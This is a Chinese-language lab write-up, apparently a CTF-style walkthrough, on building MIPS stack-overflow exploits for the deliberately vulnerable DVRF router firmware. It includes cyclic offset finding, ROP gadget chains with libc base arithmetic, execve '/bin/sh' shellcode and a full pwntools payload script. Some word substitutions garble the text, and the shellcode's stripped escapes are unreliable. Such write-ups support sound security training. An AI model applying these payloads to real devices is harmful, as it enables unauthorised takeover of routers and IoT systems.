MIPS栈溢出漏洞实战解析:从DVRF题目看ROP链构造
前言迩来导师要搞IOT漏洞挖掘项目,我得找找IOT学习资料,DVRF就适合IOT设备漏洞挖掘从入门到入坟....(bushi
固件分析
https://pic1.imgdb.cn/item/67f0e6d80ba3d5a1d7edacb8.png
Squashfs系统,照旧小端序,提取一下文件
https://pic1.imgdb.cn/item/67f0e71a0ba3d5a1d7edacd7.png
有漏洞的程序在pwnable目录下
https://pic1.imgdb.cn/item/6805feb958cb8da5c8bc0025.png
不过DVRF里面还附带有程序的源码,所以我们先看看源码,再来看二进制程序
题目
stack_bof_01
https://pic1.imgdb.cn/item/67f0da640ba3d5a1d7eda7b4.png
乍一看,strcpy()和system()都有,buff叠满了,细一看system()函数是固定字符串,应该不会造成命令注入漏洞,因为已经把控制参数都给写好了(什么地狱笑话),直接留了个后门,所以只剩下strcpy()这个常见的栈溢出漏洞函数,没有对输入的内容限制长度,所以有栈溢出。buf一共200字节长度,只要argv[]这个我们可控的参数长度超过200就可以覆盖掉buf,然后劫持函数执行流到system("/bin/sh -c")这个后门函数即可
先checksec查抄二进制文件信息
https://pic1.imgdb.cn/item/67f0eade0ba3d5a1d7edae34.png
什么都没有,城门大开,并且是mips32位小端序,所以要模拟起来的话,需要qemu-mipsel,思量到动态链接经常出幺蛾子,所以直接搞个静态的,即qemu-mipsel-static到固件的根目录下,
https://pic1.imgdb.cn/item/67f0ece10ba3d5a1d7edaf09.png
然后开启模拟
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/statck_bof_01一开始以为显示的是缺少参数东西,查抄了好久查抄不出个所以然,后来才反应过来这是要在背面输入东西,然后就看见模拟成功跑起来了
https://pic1.imgdb.cn/item/67f0eec30ba3d5a1d7edafcc.png
那接下来我们需要得到一个偏移量,即argv[]参数到寄存器R31也就是$ra的偏移量,要么静态IDA查看计算一番,不过有可能会不准,所以直接一劳永逸用动态调试来计算好了
首先开启一个端口8888
sudo chroot . ./qemu-mipsel-static -g 8888 ./pwnable/Intro/statck_bof_01然后另起一个窗口,开启动态调试
gdb-multiarch stack_bof_01
set architecture mips
target remote 127.0.0.1:8888https://pic1.imgdb.cn/item/67f130a70ba3d5a1d7eddaf3.png
进来pwndbg初始状态
https://pic1.imgdb.cn/item/67f1318f0ba3d5a1d7eddb3b.png
由于一开始已经在main函数里,所以直接n单步步过到strcpy函数,按理说这个流程应该没错,但是不知道是不是pwndbg自身的题目,不停报错
【----帮助网安学习,以下全部学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习发展路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析陈诉
④ 150+网安攻防实战技能电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战本领手册
⑦ 最新网安大厂口试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
排查了一天也不知道怎么解决,后来网上找了一个黑盒测试的方法
主要用于 调试 MIPS 架构的缓冲区溢出漏洞
ulimit -c unlimited #启用核心转储(core dump)功能,并解除大小限制,当程序崩溃,比如说段错误时,系统会生成一个 core 文件,记录崩溃时的内存状态,如寄存器、堆栈等 此命令确保 core 文件能被完整生成
sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern' #设置核心转储文件的命名格式,方便后续调试时快速定位对应的崩溃文件
sudo chroot . ./qemu-mipsel-static./pwnable/Intro/stack_bof_01 `cyclic 1000` #在 chroot 环境中,使用 QEMU 用户态模拟器运行 MIPS 小端序程序,并触发崩溃,程序因缓冲区溢出崩溃,生成 core 文件
sudo gdb-multiarch ./pwnable/Intro/stack_bof_01 ./qemu_stack_bof_01_20250406-074606_5214.core -q #使用支持多架构的 GDB 加载程序及其核心转储文件进行调试,查看崩溃时的寄存器状态,比如说$pc 的值,确定溢出点偏移量
cyclic -l 0x63616162 #通过崩溃时覆盖的地址,这里是0x63616162,反推溢出点偏移量 cyclic 工具生成一个 唯一递增的 4 字节模式字符串 比如说aaaabaaacaaadaaa...当程序崩溃时,若寄存器的值是 0x63616162(对应 ASCII baac,注意小端序),则执行cyclic -l 0x63616162 该值在模式字符串中的偏移量,即溢出点到返回地址的偏移说白了,整个调试模式流程如下:
[*]天生崩溃:通过 cyclic 字符串触发程序崩溃,天生 core 文件
[*]定位偏移:用 cyclic -l 计算偏移量
[*]构造 Payload:根据偏移量构造 填凑数据 + 目标地点 的利用载荷
[*]重新触发:用构造的 Payload 更换 cyclic 字符串,验证漏洞利用
学到了学到了
https://pic1.imgdb.cn/item/67f2323a0ba3d5a1d7eea2a9.png
所以我们得到了偏移204的位置覆盖了返回地点,所以我们要先覆盖204个字节长度(这里不用再加上4个字节长度的寄存器了,因为204就已经包罗了寄存器了),然后再加上程序自己留的后门函数system("/bin/sh -c")的地点,就可以完成一次攻击劫持流
https://pic1.imgdb.cn/item/67f2406d0ba3d5a1d7eea8dd.png
由IDA可知,后门函数地点为0x00400950,并且要注意这里是小端序的写法,所以payload为
sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 `python -c 'print(b"a"*204 + b"\x50\x09\x40\x00")'`https://pic1.imgdb.cn/item/67f244cc0ba3d5a1d7eeabae.png
由于pwndbg动态调试的时候出现异常,所以这里改为用IDA进行远程动态调试
https://pic1.imgdb.cn/item/67f244aa0ba3d5a1d7eeab9b.png
https://pic1.imgdb.cn/item/6805feda58cb8da5c8bc00bb.png
不出意外崩了,绝不意外呢....
根据技能文档分析,程序崩溃的根源与MIPS架构特性直接相关
在缓冲区溢出攻击场景中,全局指针寄存器$gp被覆盖是触发异常的核心因素。该寄存器负责维护全局数据区的基址定位,其值被破坏后,程序无法通过偏移计算正确访问全局变量或静态存储区,最终因寻址错误,比如说访问非法内存地点,导致崩溃
进一步联合漏洞利用流程,MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地点,这是指令集中对函数跳转和数据索引的硬性规范。例如,调用dat_shell函数时,若$t9未正确指向其起始地点,代码将无法解析函数内的相对偏移,进而引发执行流紊乱
t9 寄存器总是生存的是函数的开头地点,若通过控制 ra 直接劫持到目标函数,t9 寄存器没有变化,照旧原来调用过的函数的地点
所以需要调用 ROP 来设置一次 t9 寄存器的地点为后门地点,进而 jr $t9,才能使得 gp 寄存器正确的寻址
而且这里不能用 python -c 命令作为命令行参数传进去,因为在 python 输出过程中会被截断
因此,完备的利用链需分两步完成:首先通过ROP gadget精准设置$t9寄存器的值,使其符合目标函数dat_shell的入口地点,再通过控制流劫持跳转至目标函数,从而绕过MIPS架构的寄存器约束,实现稳固攻击
https://pic1.imgdb.cn/item/67f2481c0ba3d5a1d7eead7b.png
所以如今首要目标就是要找到一个gadgets,可以跳转到$t9寄存器,然后修改返回地点到 rop_gadget, 设置 $t9 为 dat_shell 函数的地点,跳转到 dat_shell 函数,执行system,在原程序中没有找到跳转到$t9的gadget
https://pic1.imgdb.cn/item/67f28cd70ba3d5a1d7eee35c.png
在DVRF固件所提供的文件libc.so.0中刚好能找到我们想要的gadget
https://pic1.imgdb.cn/item/67f28f080ba3d5a1d7eee498.png
但是这不是真正的地点,我们得去找到libc的基地点再加上0x6b20才是我们所以填写到payload中的地点
所以如今题目又酿成了怎么找到libc的基地点,因为从ida来看,并没有@plt表,所以通过泄露一些在程序中已被调用的函数的地点,通过其在程序运行起来的地点减去在libc.so.0内的地点从而得到libc的基地点
那我们就用这个第一个的memset函数,在libc.so.0的地点为0001BE10
https://pic1.imgdb.cn/item/67f292800ba3d5a1d7eee640.png
ida在memset下个断点,然后远程动态调试
https://pic1.imgdb.cn/item/67f2b3970ba3d5a1d7eef60a.png
找到memset在执行的时候的真正地点,为0x7F700E10
https://pic1.imgdb.cn/item/67f2b1fd0ba3d5a1d7eef580.png
libc_base=0x7F700E10-0x0001be10=0x7f6e5000
gadget地点为=0x7f6e5000+0x6b20=0x7F6EBB20
https://pic1.imgdb.cn/item/67f2b3660ba3d5a1d7eef5f7.png
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x20\xbb\x6e\x7f\x50\x09\x40\x00'")"https://pic1.imgdb.cn/item/67f2b1540ba3d5a1d7eef552.png
我看网上另有一种方法,因为dat_shell的首地点在0x00400950,但是直接跳过去的话又会发生崩溃,所以在0x00400950处下一个断点,看看到底咋回事
可以看到经过三次单步步过之后,gp寄存器指向了一块不知名且无法访问的内存空间
而gp寄存器在MIPS中$gp是 全局指针寄存器,用于高效访问静态数据区,比如说全局变量、常量等
程序启动时,$gp 由运行时环境,比如说启动代码设置为指向 .got或数据段中心位置。
当$gp指向了一块不知名且无法访问的内存区域时,通常意味着程序在初始化、链接或运行时逻辑中存在严重题目,也有可能时$gp 本应在程序生命周期内保持恒定,但若代码中错误地修改了 $gp,比如说如误将其用作临时寄存器),会导致后续全局数据访问失败
https://pic1.imgdb.cn/item/67f34a6f0ba3d5a1d7ef0f8b.png
总之既然直接跳转到0x00400950会发生错误,那根据上述的调试可知,只要绕过前面三步单步步过就可以了,所以把payload地点修改为0x0040095c
https://pic1.imgdb.cn/item/67f34d1e0ba3d5a1d7ef1128.png
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40\x00'")"https://pic1.imgdb.cn/item/67f34fcf0ba3d5a1d7ef127f.png
又get一种黑科技写法
这道题最重要的就是学到$t9寄存器的值是MIPS程序的函数的起始地点,这对rop链构造是至关重要的
stack_bof_02
先看源码
https://pic1.imgdb.cn/item/67f38241e381c3632bee57c6.png
这一漏洞的本质仍属于典范的栈溢出攻击场景
程序通过命令行参数获取输入数据,在利用strcpy函数进行数据复制时,由于未对参数长度进行有效性校验,导致超出目标缓冲区的容量边界,从而引发栈空间溢出
而且,根据《揭秘家用路由器0day漏洞挖掘技能》书中所写到,main函数在MIPS架构中被归类为非叶子函数,这意味着其栈帧中会生存返回地点寄存器$ra
当溢出发生时,就可以通过构造的输入数据覆盖栈上存储的$ra值,当main函数执行完毕并实验通过jr $ra返回时,程序流将被劫持到被窜改的地点
不过跟上一道相比,少了后门函数
因此,我们需要通过注入Shellcode到栈或寄存器中,并将$ra覆盖为Shellcode的起始地点,从而在程序返回时触发攻击代码的执行
https://pic1.imgdb.cn/item/67f38203e381c3632bee57a3.png
查抄一下文件,发现啥保护都没有,32小端序
模拟,启动!
sudo chroot . ./qemu-mipsel-static ./pwnable/ShellCode_Required/stack_bof_02https://pic1.imgdb.cn/item/67f3877ae381c3632bee5bde.png
这已经昭示了要弄shellcode了
动态调试照旧不行啊...搞不定,用用黑盒测试
https://pic1.imgdb.cn/item/67f3955be381c3632bee63d8.png
要覆盖508个字节长度
预备构造ROP
由于MIPS采用流水线指令集架构,其存在cache incoherency特性,因此在跳转到shellcode之前必须调用sleep等函数将数据区刷新至当前指令区,如许才能保证shellcode的正常执行
流水线指令集架构
是一种通过并行化处理指令执行过程来提高处理器服从的计划方法。其核心思想是将指令的执行过程划分为多个独立的阶段
比如说取指、译码、执行、访存、写回等
每个阶段由专门的硬件单位处理,不同阶段的指令可以同时执行,从而形成类似“工厂流水线”的工作模式
典范的流水线分为以下阶段(以经典5级流水线为例):
[*]取指(IF):从内存中读取指令。
[*]译码(ID):解析指令的利用码和利用数。
[*]执行(EX):执行算术或逻辑运算。
[*]访存(MEM):访问内存(如加载或存储数据)。
[*]写回(WB):将效果写回寄存器。
每个阶段完成后,指令会通报到下一阶段,同时新的指令进入当前阶段。例如:
[*]第1条指令处于写回阶段时,
[*]第2条指令可能处于访存阶段,
[*]第3条指令处于执行阶段,
[*]...
举个例子
ADD R1, R2, R3 #R1 = R2 + R3,算术运算
LW R4, 0(R1) #从内存地址R1+0加载数据到R4,访存操作
SUB R5, R4, R6 # R5 = R4 - R6,依赖第2条指令的R4结果
BEQ R5, R0, LABEL #若R5 == 0,跳转到LABEL,分支指令https://www.yijinglab.com/headImg.action?news=41edb2be-05e0-4a63-829b-9786aea59f42.png所以,我们需要在跳转前调用 sleep(1) 刷新指令缓存,而sleep函数将参数存放在$a0寄存器中,所以我们在libc.so.0中寻找我们所要的gadgethttps://pic1.imgdb.cn/item/67fb77ae88c538a9b5cd54fe.png
随便选一个了,选了第二个,且gadget的末尾是跳转到$s1寄存器,先到0x0002fb10地点查看一番
https://pic1.imgdb.cn/item/67fb81b488c538a9b5cd7328.png
由图所示,我们还要找到可以控制$s1的gadget,以便覆盖数据的时候可以覆盖掉$s1寄存器
但是在main函数中没有出现类似 lw $s0, offset($sp) 的指令,意味着该函数未主动恢复生存寄存器($s0−$s7)的值
函数内部利用了($s0-$s7)这些寄存器,需在函数开头将其生存到栈中(sw $sN, offset($sp)),并在返回前恢复(lw $sN, offset($sp))。
而临时寄存器($t0-$t9)无需生存,调用者需假设其值在函数调用后可能被破坏。
若main函数未利用s0−s7,则无需在栈帧中生存/恢复这些寄存器,因此末尾不会有lw $s0, offset($sp)类指令。
所以由于main函数末尾没有lw $s1, offset($sp),攻击者无法通过覆盖栈上生存的$s1旧值来直接控制该寄存器。
所以,无法直接控制$s1寄存器
https://pic1.imgdb.cn/item/67fb862e88c538a9b5cd8182.png
需通过其他途径间接控制$s1,比如说,利用其他函数中的gadget恢复$s1,大概是通过数据通报链,比如move指令,将可控寄存器的值通报到$s1
所以照旧通过mipsrop.find("lw $s1")找到了一些gadget 0x00006A50
https://pic1.imgdb.cn/item/67fd19c688c538a9b5d0edbb.png
理一下逻辑,利用gadget2=0x00006A50这段gadget设置好寄存器,修改好$s1的值,然后利用gadget1=0x0002FB10这段gadget去刷新数据区
同时照旧要找到libc的地点,由上一题可知,libc基地点为0x7f6e5000
所以gadget1=0x7f6e5000+0x0002fb10=0x7f714b10
gadget2=0x00006a50+0x7f6e5000=0x7f6eba50
并且由ida可知调整shellcode的位置为0x58
gadget1=0x7f714b10
gadget2=0x7f6eba50
payload="a"*508
payload+=p32(gadget2)
payload+="a"*0x58
payload+="aaaa" #覆盖s0
payload+="aaaa" #覆盖s1
payload+="aaaa" #覆盖s2
payload+=p32(gadget1)https://pic1.imgdb.cn/item/67fd259188c538a9b5d0f387.png
由ida可知,sleep静态地点为0x0002F2B0,再加上libc_addr的话就为0x7F7142B0
但是不能把sleep地点直接写到s1上,因为当这里填入sleep函数的地点后,程序会直接跳转执行sleep函数,但由于$ra寄存器仍保留着gadget1的地点,在sleep函数执行完毕后又会重新返回到当前位置。因此,需要寻找一个具备双重功能的gadget3——它既能通过s0或s2寄存器实现跳转控制,同时又可以或许对ra寄存器进行重新赋值,通过mipsrop.tail()找到的gadget3 0x00020F1C+libc_addr=0x7f705f1c
https://pic1.imgdb.cn/item/67fdff8988c538a9b5d174fe.png
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
sleep_addr=0x7f7142b0
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+="aaaa"#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+="aaaa"#覆盖$rasleep函数执行完之后,得找一个可以跳转的地点,并且在那上面可以写shellcode
不过没有找到,在师傅发起下,找了一个可以先控制寄存器上的值,再跳转到这里,通过mipsrop.stackerfind(),gadget4=0x00016dd0+libc_addr=0x7f6fbdd0
https://pic1.imgdb.cn/item/67fe07c588c538a9b5d183c2.png
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
gadget4=0x7f6fbdd0
sleep_addr=0x7f7142b0
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+="aaaa"#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+=p32(gadget4)#覆盖$ra从ida显示的0x00016dd0可知,我们还得找一个可以利用$a0跳转的gadget5,直接简朴粗暴 mipsrop.find("move $t9,$a0") gadget5=0x000214A0+libc_addr=0x7f7064a0
https://pic1.imgdb.cn/item/67fe12c688c538a9b5d18fc5.png
https://pic1.imgdb.cn/item/67fe148688c538a9b5d19171.png
gadget1=0x7f714b10
gadget2=0x7f6eba50
gadget3=0x7f705f1c
gadget4=0x7f6fbdd0
gadget5=0x7f7064a0
sleep_addr=0x7f7142b0
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+=p32(gadget5)#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+=p32(gadget4)#覆盖$ra
payload+="f"*0x18
payload += p32(0xdeadbeef)
payload += shellcode随便找了个网站天生了一段小端的shellcode
shellcode = “”
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode+= "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404完备的payload
from pwn import *context.binary = "./pwnable/ShellCode_Required/stack_bof_02"context.arch = "mips"context.endian = "little"gadget1=0x7f714b10gadget2=0x7f6eba50gadget3=0x7f705f1cgadget4=0x7f6fbdd0gadget5=0x7f7064a0sleep_addr=0x7f7142b0shellcode = “”
shellcode += "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode+= "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404payload="a"*508payload+=p32(gadget2)payload+="b"*0x58payload+="cccc" #覆盖s0payload+=p32(gadget3) #覆盖s1payload+=p32(sleep)#覆盖s2,写入sleeppayload+=p32(gadget1)payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码payload+=p32(gadget5)#覆盖$s0payload+="aaaa"#覆盖$s1payload+="aaaa"#覆盖$s2payload+=p32(gadget4)#覆盖$rapayload+="f"*0x18payload += p32(0xdeadbeef)payload += shellcodewith open("stack_bof_02_pyload","w") as file: file.write(payload)https://pic1.imgdb.cn/item/67ff60cb88c538a9b5d332ca.png
这道题最重要的就是学到mipsrop链的构造。
更多网安技能的在线实操练习,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]